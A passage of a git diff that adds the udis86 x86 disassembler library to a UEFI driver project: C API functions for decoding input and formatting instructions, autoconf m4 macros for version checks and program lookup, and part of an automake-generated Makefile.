) +{ + u->pc = o; +} + +/* ============================================================================= + * ud_set_syntax() - Sets the output syntax. + * ============================================================================= + */ +extern void +ud_set_syntax( struct ud* u, void( *t )(struct ud*) ) +{ + u->translator = t; +} + +/* ============================================================================= + * ud_insn() - returns the disassembled instruction + * ============================================================================= + */ +const char* +ud_insn_asm( const struct ud* u ) +{ + return u->asm_buf; +} + +/* ============================================================================= + * ud_insn_offset() - Returns the offset. + * ============================================================================= + */ +uint64_t +ud_insn_off( const struct ud* u ) +{ + return u->insn_offset; +} + + +/* ============================================================================= + * ud_insn_hex() - Returns hex form of disassembled instruction. + * ============================================================================= + */ +const char* +ud_insn_hex( struct ud* u ) +{ + u->insn_hexcode[0] = 0; + if (!u->error) + { + unsigned int i; + const unsigned char *src_ptr = ud_insn_ptr( u ); + char* src_hex; + src_hex = (char*)u->insn_hexcode; + /* for each byte used to decode instruction */ + for (i = 0; i < ud_insn_len( u ) && i < sizeof( u->insn_hexcode ) / 2; + ++i, ++src_ptr) + { + sprintf( src_hex, "%02x", *src_ptr & 0xFF ); + src_hex += 2; + } + } + return u->insn_hexcode; +} + + +/* ============================================================================= + * ud_insn_ptr + * Returns a pointer to buffer containing the bytes that were + * disassembled. + * ============================================================================= + */ +extern const uint8_t* +ud_insn_ptr( const struct ud* u ) +{ + return (u->inp_buf == NULL) ? + u->inp_sess : u->inp_buf + (u->inp_buf_index - u->inp_ctr); +} + + +/* ============================================================================= + * ud_insn_len + * Returns the count of bytes disassembled. + * ============================================================================= + */ +extern unsigned int ud_insn_len( const struct ud* u ) +{ + return (unsigned int)u->inp_ctr; +} + + +/* ============================================================================= + * ud_insn_get_opr + * Return the operand struct representing the nth operand of + * the currently disassembled instruction. Returns NULL if + * there's no such operand. + * ============================================================================= + */ +const struct ud_operand* +ud_insn_opr( const struct ud *u, unsigned int n ) +{ + if (n > 2 || u->operand[n].type == UD_NONE) + { + return NULL; + } + else + { + return &u->operand[n]; + } +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a segment register type. + * ============================================================================= + */ +int +ud_opr_is_sreg( const struct ud_operand *opr ) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_ES && + opr->base <= UD_R_GS; +} + + +/* ============================================================================= + * ud_opr_is_sreg + * Returns non-zero if the given operand is of a general purpose + * register type. + * ============================================================================= + */ +int +ud_opr_is_gpr( const struct ud_operand *opr ) +{ + return opr->type == UD_OP_REG && + opr->base >= UD_R_AL && + opr->base <= UD_R_R15; +} + + +/* ============================================================================= + * ud_set_user_opaque_data + * ud_get_user_opaque_data + * Get/set user opaqute data pointer + * ============================================================================= + */ +void +ud_set_user_opaque_data( struct ud * u, void* opaque ) +{ + u->user_opaque_data = opaque; +} + +void* +ud_get_user_opaque_data( const struct ud *u ) +{ + return u->user_opaque_data; +} + + +/* ============================================================================= + * ud_set_asm_buffer + * Allow the user to set an assembler output buffer. If `buf` is NULL, + * we switch back to the internal buffer. + * ============================================================================= + */ +void +ud_set_asm_buffer( struct ud *u, char *buf, size_t size ) +{ + if (buf == NULL) + { + ud_set_asm_buffer( u, u->asm_buf_int, sizeof( u->asm_buf_int ) ); + } + else + { + u->asm_buf = buf; + u->asm_buf_size = size; + } +} + + +/* ============================================================================= + * ud_set_sym_resolver + * Set symbol resolver for relative targets used in the translation + * phase. + * + * The resolver is a function that takes a uint64_t address and returns a + * symbolic name for the that address. The function also takes a second + * argument pointing to an integer that the client can optionally set to a + * non-zero value for offsetted targets. (symbol+offset) The function may + * also return NULL, in which case the translator only prints the target + * address. + * + * The function pointer maybe NULL which resets symbol resolution. + * ============================================================================= + */ +void +ud_set_sym_resolver( struct ud *u, const char* (*resolver)(struct ud*, + uint64_t addr, + int64_t *offset) ) +{ + u->sym_resolver = resolver; +} + + +/* ============================================================================= + * ud_insn_mnemonic + * Return the current instruction mnemonic. + * ============================================================================= + */ +enum ud_mnemonic_code + ud_insn_mnemonic( const struct ud *u ) +{ + return u->mnemonic; +} + + +/* ============================================================================= + * ud_lookup_mnemonic + * Looks up mnemonic code in the mnemonic string table. + * Returns NULL if the mnemonic code is invalid. + * ============================================================================= + */ +const char* +ud_lookup_mnemonic( enum ud_mnemonic_code c ) +{ + if (c < UD_MAX_MNEMONIC_CODE) + { + return ud_mnemonics_str[c]; + } + else + { + return NULL; + } +} + + +/* + * ud_inp_init + * Initializes the input system. + */ +static void +ud_inp_init( struct ud *u ) +{ + u->inp_hook = NULL; + u->inp_buf = NULL; + u->inp_buf_size = 0; + u->inp_buf_index = 0; + u->inp_curr = 0; + u->inp_ctr = 0; + u->inp_end = 0; + UD_NON_STANDALONE( u->inp_file = NULL ); +} + + +/* ============================================================================= + * ud_inp_set_hook + * Sets input hook. + * ============================================================================= + */ +void +ud_set_input_hook( register struct ud* u, int( *hook )(struct ud*) ) +{ + ud_inp_init( u ); + u->inp_hook = hook; +} + +/* ============================================================================= + * ud_inp_set_buffer + * Set buffer as input. + * ============================================================================= + */ +void +ud_set_input_buffer( register struct ud* u, const uint8_t* buf, size_t len ) +{ + ud_inp_init( u ); + u->inp_buf = buf; + u->inp_buf_size = len; + u->inp_buf_index = 0; +} + + +#ifndef __UD_STANDALONE__ +/* ============================================================================= + * ud_input_set_file + * Set FILE as input. + * ============================================================================= + */ +static int +inp_file_hook( struct ud* u ) +{ + return fgetc( u->inp_file ); +} + +void +ud_set_input_file( register struct ud* u, FILE* f ) +{ + ud_inp_init( u ); + u->inp_hook = inp_file_hook; + u->inp_file = f; +} +#endif /* __UD_STANDALONE__ */ + + +/* ============================================================================= + * ud_input_skip + * Skip n input bytes. + * ============================================================================ + */ +void +ud_input_skip( struct ud* u, size_t n ) +{ + if (u->inp_end) + { + return; + } + if (u->inp_buf == NULL) + { + while (n--) + { + int c = u->inp_hook( u ); + if (c == UD_EOI) + { + goto eoi; + } + } + return; + } + else + { + if (n > u->inp_buf_size || + u->inp_buf_index > u->inp_buf_size - n) + { + u->inp_buf_index = u->inp_buf_size; + goto eoi; + } + u->inp_buf_index += n; + return; + } +eoi: + u->inp_end = 1; + UDERR( u, "cannot skip, eoi received\b" ); + return; +} + + +/* ============================================================================= + * ud_input_end + * Returns non-zero on end-of-input. + * ============================================================================= + */ +int +ud_input_end( const struct ud *u ) +{ + return u->inp_end; +} + +/* vim:set ts=2 sw=2 expandtab */ diff --git a/UefiDriver/udis86/m4/ax_compare_version.m4 b/UefiDriver/udis86/m4/ax_compare_version.m4 new file mode 100644 index 0000000..74dc0fd --- /dev/null +++ b/UefiDriver/udis86/m4/ax_compare_version.m4 @@ -0,0 +1,177 @@ +# =========================================================================== +# http://www.gnu.org/software/autoconf-archive/ax_compare_version.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_COMPARE_VERSION(VERSION_A, OP, VERSION_B, [ACTION-IF-TRUE], [ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# This macro compares two version strings. Due to the various number of +# minor-version numbers that can exist, and the fact that string +# comparisons are not compatible with numeric comparisons, this is not +# necessarily trivial to do in a autoconf script. This macro makes doing +# these comparisons easy. +# +# The six basic comparisons are available, as well as checking equality +# limited to a certain number of minor-version levels. +# +# The operator OP determines what type of comparison to do, and can be one +# of: +# +# eq - equal (test A == B) +# ne - not equal (test A != B) +# le - less than or equal (test A <= B) +# ge - greater than or equal (test A >= B) +# lt - less than (test A < B) +# gt - greater than (test A > B) +# +# Additionally, the eq and ne operator can have a number after it to limit +# the test to that number of minor versions. +# +# eq0 - equal up to the length of the shorter version +# ne0 - not equal up to the length of the shorter version +# eqN - equal up to N sub-version levels +# neN - not equal up to N sub-version levels +# +# When the condition is true, shell commands ACTION-IF-TRUE are run, +# otherwise shell commands ACTION-IF-FALSE are run. The environment +# variable 'ax_compare_version' is always set to either 'true' or 'false' +# as well. +# +# Examples: +# +# AX_COMPARE_VERSION([3.15.7],[lt],[3.15.8]) +# AX_COMPARE_VERSION([3.15],[lt],[3.15.8]) +# +# would both be true. +# +# AX_COMPARE_VERSION([3.15.7],[eq],[3.15.8]) +# AX_COMPARE_VERSION([3.15],[gt],[3.15.8]) +# +# would both be false. +# +# AX_COMPARE_VERSION([3.15.7],[eq2],[3.15.8]) +# +# would be true because it is only comparing two minor versions. +# +# AX_COMPARE_VERSION([3.15.7],[eq0],[3.15]) +# +# would be true because it is only comparing the lesser number of minor +# versions of the two values. +# +# Note: The characters that separate the version numbers do not matter. An +# empty string is the same as version 0. OP is evaluated by autoconf, not +# configure, so must be a string, not a variable. +# +# The author would like to acknowledge Guido Draheim whose advice about +# the m4_case and m4_ifvaln functions make this macro only include the +# portions necessary to perform the specific comparison specified by the +# OP argument in the final configure script. +# +# LICENSE +# +# Copyright (c) 2008 Tim Toolan +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 11 + +dnl ######################################################################### +AC_DEFUN([AX_COMPARE_VERSION], [ + AC_REQUIRE([AC_PROG_AWK]) + + # Used to indicate true or false condition + ax_compare_version=false + + # Convert the two version strings to be compared into a format that + # allows a simple string comparison. The end result is that a version + # string of the form 1.12.5-r617 will be converted to the form + # 0001001200050617. In other words, each number is zero padded to four + # digits, and non digits are removed. + AS_VAR_PUSHDEF([A],[ax_compare_version_A]) + A=`echo "$1" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ + -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ + -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ + -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ + -e 's/[[^0-9]]//g'` + + AS_VAR_PUSHDEF([B],[ax_compare_version_B]) + B=`echo "$3" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ + -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ + -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ + -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ + -e 's/[[^0-9]]//g'` + + dnl # In the case of le, ge, lt, and gt, the strings are sorted as necessary + dnl # then the first line is used to determine if the condition is true. + dnl # The sed right after the echo is to remove any indented white space. + m4_case(m4_tolower($2), + [lt],[ + ax_compare_version=`echo "x$A +x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/false/;s/x${B}/true/;1q"` + ], + [gt],[ + ax_compare_version=`echo "x$A +x$B" | sed 's/^ *//' | sort | sed "s/x${A}/false/;s/x${B}/true/;1q"` + ], + [le],[ + ax_compare_version=`echo "x$A +x$B" | sed 's/^ *//' | sort | sed "s/x${A}/true/;s/x${B}/false/;1q"` + ], + [ge],[ + ax_compare_version=`echo "x$A +x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/true/;s/x${B}/false/;1q"` + ],[ + dnl Split the operator from the subversion count if present. + m4_bmatch(m4_substr($2,2), + [0],[ + # A count of zero means use the length of the shorter version. + # Determine the number of characters in A and B. + ax_compare_version_len_A=`echo "$A" | $AWK '{print(length)}'` + ax_compare_version_len_B=`echo "$B" | $AWK '{print(length)}'` + + # Set A to no more than B's length and B to no more than A's length. + A=`echo "$A" | sed "s/\(.\{$ax_compare_version_len_B\}\).*/\1/"` + B=`echo "$B" | sed "s/\(.\{$ax_compare_version_len_A\}\).*/\1/"` + ], + [[0-9]+],[ + # A count greater than zero means use only that many subversions + A=`echo "$A" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` + B=`echo "$B" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` + ], + [.+],[ + AC_WARNING( + [illegal OP numeric parameter: $2]) + ],[]) + + # Pad zeros at end of numbers to make same length. + ax_compare_version_tmp_A="$A`echo $B | sed 's/./0/g'`" + B="$B`echo $A | sed 's/./0/g'`" + A="$ax_compare_version_tmp_A" + + # Check for equality or inequality as necessary. + m4_case(m4_tolower(m4_substr($2,0,2)), + [eq],[ + test "x$A" = "x$B" && ax_compare_version=true + ], + [ne],[ + test "x$A" != "x$B" && ax_compare_version=true + ],[ + AC_WARNING([illegal OP parameter: $2]) + ]) + ]) + + AS_VAR_POPDEF([A])dnl + AS_VAR_POPDEF([B])dnl + + dnl # Execute ACTION-IF-TRUE / ACTION-IF-FALSE. + if test "$ax_compare_version" = "true" ; then + m4_ifvaln([$4],[$4],[:])dnl + m4_ifvaln([$5],[else $5])dnl + fi +]) dnl AX_COMPARE_VERSION diff --git a/UefiDriver/udis86/m4/ax_prog_sphinx_version.m4 b/UefiDriver/udis86/m4/ax_prog_sphinx_version.m4 new file mode 100644 index 0000000..70ae7e2 --- /dev/null +++ b/UefiDriver/udis86/m4/ax_prog_sphinx_version.m4 @@ -0,0 +1,60 @@ +# SYNOPSIS +# +# AX_PROG_SPHINX_VERSION([VERSION],[ACTION-IF-TRUE],[ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# Makes sure that sphinx-build supports the version indicated. If true +# the shell commands in ACTION-IF-TRUE are executed. If not the shell +# commands in ACTION-IF-FALSE are run. Note if $SPHINX_BUILD is not set +# (for example by running AX_WITH_PROG) the macro will fail. +# +# Example: +# +# AX_WITH_PROG(SPHINX_BUILD,sphinx-build) +# AX_PROG_SPHINX([1.1.1],[ ... ],[ ... ]) +# +# LICENSE +# +# ax_prog_python_version.m4 +# +# Copyright (c) 2009 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. +# +# ax_prog_sphinx_version.m4 +# +# Copyright (c) 2013 Vivek Thampi + + +AC_DEFUN([AX_PROG_SPHINX],[ + AC_REQUIRE([AC_PROG_SED]) + AC_REQUIRE([AC_PROG_GREP]) + + + AS_IF([test -n "$SPHINX_BUILD"],[ + ax_sphinx_version="$1" + + AC_MSG_CHECKING([for sphinx version]) + changequote(<<,>>) + sphinx_version=`$SPHINX_BUILD -h 2>&1 | $GREP "^Sphinx v" | $SED -e 's/^.* v\([0-9]*\.[0-9]*\.[0-9]*\)/\1/'` + changequote([,]) + AC_MSG_RESULT($sphinx_version) + + AC_SUBST([SPHINX_VERSION],[$sphinx_version]) + + AX_COMPARE_VERSION([$ax_sphinx_version],[le],[$sphinx_version],[ + : + $2 + ],[ + : + $3 + ]) + ],[ + AC_MSG_WARN([could not find the sphinx documentation tool]) + $3 + ]) +]) diff --git a/UefiDriver/udis86/m4/ax_prog_yasm_version.m4 b/UefiDriver/udis86/m4/ax_prog_yasm_version.m4 new file mode 100644 index 0000000..9adafcb --- /dev/null +++ b/UefiDriver/udis86/m4/ax_prog_yasm_version.m4 @@ -0,0 +1,60 @@ +# SYNOPSIS +# +# AX_PROG_YASM_VERSION([VERSION],[ACTION-IF-TRUE],[ACTION-IF-FALSE]) +# +# DESCRIPTION +# +# Makes sure that yasm supports the version indicated. If true +# the shell commands in ACTION-IF-TRUE are executed. If not the shell +# commands in ACTION-IF-FALSE are run. Note if $YASM is not set +# (for example by running AX_WITH_PROG) the macro will fail. +# +# Example: +# +# AX_WITH_PROG(YASM,yasm) +# AX_PROG_YASM_VERSION([1.1.1],[ ... ],[ ... ]) +# +# LICENSE +# +# ax_prog_python_version.m4 +# +# Copyright (c) 2009 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. +# +# ax_prog_yasm_version.m4 +# +# Copyright (c) 2013 Vivek Thampi + + +AC_DEFUN([AX_PROG_YASM_VERSION],[ + AC_REQUIRE([AC_PROG_SED]) + AC_REQUIRE([AC_PROG_GREP]) + + + AS_IF([test -n "$YASM"],[ + ax_yasm_version="$1" + + AC_MSG_CHECKING([for yasm version]) + changequote(<<,>>) + yasm_version=`$YASM --version 2>&1 | $GREP "^yasm " | $SED -e 's/^.* \([0-9]*\.[0-9]*\.[0-9]*\)/\1/'` + changequote([,]) + AC_MSG_RESULT($yasm_version) + + AC_SUBST([YASM_VERSION],[$yasm_version]) + + AX_COMPARE_VERSION([$ax_yasm_version],[le],[$yasm_version],[ + : + $2 + ],[ + : + $3 + ]) + ],[ + AC_MSG_WARN([could not find the yasm]) + $3 + ]) +]) diff --git a/UefiDriver/udis86/m4/ax_with_prog.m4 b/UefiDriver/udis86/m4/ax_with_prog.m4 new file mode 100644 index 0000000..e20276c --- /dev/null +++ b/UefiDriver/udis86/m4/ax_with_prog.m4 @@ -0,0 +1,67 @@ +# =========================================================================== +# http://www.nongnu.org/autoconf-archive/ax_with_prog.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_WITH_PROG([VARIABLE],[program],[VALUE-IF-NOT-FOUND],[PATH]) +# +# DESCRIPTION +# +# Locates an installed program binary, placing the result in the precious +# variable VARIABLE. Accepts a present VARIABLE, then --with-program, and +# failing that searches for program in the given path (which defaults to +# the system path). If program is found, VARIABLE is set to the full path +# of the binary; if it is not found VARIABLE is set to VALUE-IF-NOT-FOUND +# if provided, unchanged otherwise. +# +# A typical example could be the following one: +# +# AX_WITH_PROG(PERL,perl) +# +# NOTE: This macro is based upon the original AX_WITH_PYTHON macro from +# Dustin J. Mitchell . +# +# LICENSE +# +# Copyright (c) 2008 Francesco Salvestrini +# Copyright (c) 2008 Dustin J. Mitchell +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. + +AC_DEFUN([AX_WITH_PROG],[ + AC_PREREQ([2.61]) + + pushdef([VARIABLE],$1) + pushdef([EXECUTABLE],$2) + pushdef([VALUE_IF_NOT_FOUND],$3) + pushdef([PATH_PROG],$4) + + AC_ARG_VAR(VARIABLE,Absolute path to EXECUTABLE executable) + + AS_IF(test -z "$VARIABLE",[ + AC_MSG_CHECKING(whether EXECUTABLE executable path has been provided) + AC_ARG_WITH(EXECUTABLE,AS_HELP_STRING([--with-EXECUTABLE=[[[[PATH]]]]],absolute path to EXECUTABLE executable), [ + AS_IF([test "$withval" != yes -a "$withval" != no],[ + VARIABLE="$withval" + AC_MSG_RESULT($VARIABLE) + ],[ + VARIABLE="" + AC_MSG_RESULT([no]) + AS_IF([test "$withval" != no], [ + AC_PATH_PROG([]VARIABLE[],[]EXECUTABLE[],[]VALUE_IF_NOT_FOUND[],[]PATH_PROG[]) + ]) + ]) + ],[ + AC_MSG_RESULT([no]) + AC_PATH_PROG([]VARIABLE[],[]EXECUTABLE[],[]VALUE_IF_NOT_FOUND[],[]PATH_PROG[]) + ]) + ]) + + popdef([PATH_PROG]) + popdef([VALUE_IF_NOT_FOUND]) + popdef([EXECUTABLE]) + popdef([VARIABLE]) +]) diff --git a/UefiDriver/udis86/m4/ax_with_python.m4 b/UefiDriver/udis86/m4/ax_with_python.m4 new file mode 100644 index 0000000..e109928 --- /dev/null +++ b/UefiDriver/udis86/m4/ax_with_python.m4 @@ -0,0 +1,32 @@ +# =========================================================================== +# http://www.nongnu.org/autoconf-archive/ax_with_python.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_WITH_PYTHON([VALUE-IF-NOT-FOUND],[PATH]) +# +# DESCRIPTION +# +# Locates an installed Python binary, placing the result in the precious +# variable $PYTHON. Accepts a present $PYTHON, then --with-python, and +# failing that searches for python in the given path (which defaults to +# the system path). If python is found, $PYTHON is set to the full path of +# the binary; if it is not found $PYTHON is set to VALUE-IF-NOT-FOUND if +# provided, unchanged otherwise. +# +# A typical use could be the following one: +# +# AX_WITH_PYTHON +# +# LICENSE +# +# Copyright (c) 2008 Francesco Salvestrini +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. + +AC_DEFUN([AX_WITH_PYTHON],[ + AX_WITH_PROG(PYTHON,python,$1,$2) +]) diff --git a/UefiDriver/udis86/scripts/Makefile.am b/UefiDriver/udis86/scripts/Makefile.am new file mode 100644 index 0000000..674d2d2 --- /dev/null +++ b/UefiDriver/udis86/scripts/Makefile.am @@ -0,0 +1,10 @@ +EXTRA_DIST = \ + ud_opcode.py \ + ud_optable.py \ + ud_itab.py + +MAINTAINERCLEANFILES = Makefile.in + +clean-local: + -rm -f *.pyc + -rm -f ud_asmtest* diff --git a/UefiDriver/udis86/scripts/Makefile.in b/UefiDriver/udis86/scripts/Makefile.in new file mode 100644 index 0000000..97297d5 --- /dev/null +++ b/UefiDriver/udis86/scripts/Makefile.in @@ -0,0 +1,417 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +subdir = scripts +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +SOURCES = +DIST_SOURCES = +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +EXTRA_DIST = \ + ud_opcode.py \ + ud_optable.py \ + ud_itab.py + +MAINTAINERCLEANFILES = Makefile.in +all: all-am + +.SUFFIXES: +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign scripts/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign scripts/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): + +mostlyclean-libtool: + -rm -f *.lo + 